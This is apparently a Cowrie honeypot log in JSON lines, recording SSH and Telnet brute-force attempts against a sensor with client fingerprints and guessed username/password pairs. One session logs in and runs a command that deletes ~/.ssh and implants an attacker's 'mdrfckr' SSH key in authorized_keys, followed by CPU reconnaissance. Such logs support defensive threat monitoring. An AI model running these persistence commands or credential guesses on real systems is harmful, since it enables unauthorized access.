{"eventid":"cowrie.session.connect","src_ip":"154.116.254.157","src_port":38338,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c0a1eab0c06","protocol":"ssh","message":"New connection: 154.116.254.157:38338 (10.17.0.5:22) [session: 6c0a1eab0c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:52.536878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:52.540648Z","src_ip":"154.116.254.157","session":"6c0a1eab0c06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:52.706805Z","src_ip":"154.116.254.157","session":"6c0a1eab0c06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ag@123","message":"login attempt [root/ag@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:53.405485Z","src_ip":"154.116.254.157","session":"6c0a1eab0c06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:54.574041Z","src_ip":"154.116.254.157","session":"6c0a1eab0c06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37336,"dst_ip":"159.203.135.109","dst_port":23,"session":"488388d8109e","protocol":"telnet","message":"New connection: 170.64.224.25:37336 (159.203.135.109:23) [session: 488388d8109e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:59.720185Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":51290,"dst_ip":"159.203.135.109","dst_port":22,"session":"023f39ab370f","protocol":"ssh","message":"New connection: 159.65.58.200:51290 (159.203.135.109:22) [session: 023f39ab370f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:05.792398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:06.108242Z","src_ip":"159.65.58.200","session":"023f39ab370f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:06.111533Z","src_ip":"159.65.58.200","session":"023f39ab370f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"selin","password":"123456","message":"login attempt [selin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:07.711757Z","src_ip":"159.65.58.200","session":"023f39ab370f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48954,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaefac0f28e1","protocol":"ssh","message":"New connection: 8.210.75.243:48954 (10.17.0.5:22) [session: eaefac0f28e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:07.719543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:07.723793Z","src_ip":"8.210.75.243","session":"eaefac0f28e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:09.030915Z","src_ip":"159.65.58.200","session":"023f39ab370f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:09.872942Z","src_ip":"8.210.75.243","session":"f9be0c0014c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":32816,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ed5a0806267","protocol":"ssh","message":"New connection: 8.210.75.243:32816 (10.17.0.5:22) [session: 2ed5a0806267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:16.882644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:16.889467Z","src_ip":"8.210.75.243","session":"2ed5a0806267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.69.150","src_port":47938,"dst_ip":"10.17.0.5","dst_port":22,"session":"be28e9208c42","protocol":"ssh","message":"New connection: 138.124.69.150:47938 (10.17.0.5:22) [session: be28e9208c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:17.961435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:17.965544Z","src_ip":"138.124.69.150","session":"be28e9208c42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:18.098886Z","src_ip":"138.124.69.150","session":"be28e9208c42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:18.662745Z","src_ip":"138.124.69.150","session":"be28e9208c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:19.798381Z","src_ip":"138.124.69.150","session":"be28e9208c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.91232347488403,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:21.203460Z","src_ip":"170.64.224.25","session":"12a62b716411","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":52780,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccb0bc24076b","protocol":"ssh","message":"New connection: 68.207.224.247:52780 (159.203.135.109:22) [session: ccb0bc24076b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:32.440738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:32.444052Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:32.488652Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"administrator","message":"login attempt [admin/administrator] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:32.685116Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:32.803580Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:32.806072Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:32.808692Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:32.886169Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:32.965209Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:32.967042Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:33.010433Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:33.013107Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":52788,"dst_ip":"159.203.135.109","dst_port":22,"session":"252155621c2c","protocol":"ssh","message":"New connection: 68.207.224.247:52788 (159.203.135.109:22) [session: 252155621c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:33.049950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:33.053111Z","src_ip":"68.207.224.247","session":"252155621c2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:33.093207Z","src_ip":"68.207.224.247","session":"252155621c2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:33.290932Z","src_ip":"68.207.224.247","session":"252155621c2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:34.337757Z","src_ip":"68.207.224.247","session":"252155621c2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":52790,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c8dc6d00096","protocol":"ssh","message":"New connection: 68.207.224.247:52790 (159.203.135.109:22) [session: 6c8dc6d00096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:34.365606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:34.369189Z","src_ip":"68.207.224.247","session":"6c8dc6d00096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:34.408380Z","src_ip":"68.207.224.247","session":"6c8dc6d00096","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:34.582128Z","src_ip":"68.207.224.247","session":"6c8dc6d00096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.161.222.150","src_port":39528,"dst_ip":"159.203.135.109","dst_port":22,"session":"96e1e6b8476e","protocol":"ssh","message":"New connection: 113.161.222.150:39528 (159.203.135.109:22) [session: 96e1e6b8476e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:35.465667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:35.469537Z","src_ip":"113.161.222.150","session":"96e1e6b8476e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:35.618082Z","src_ip":"68.207.224.247","session":"6c8dc6d00096","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:35.726923Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:35:35.729458Z","src_ip":"68.207.224.247","session":"ccb0bc24076b","protocol":"ssh"}
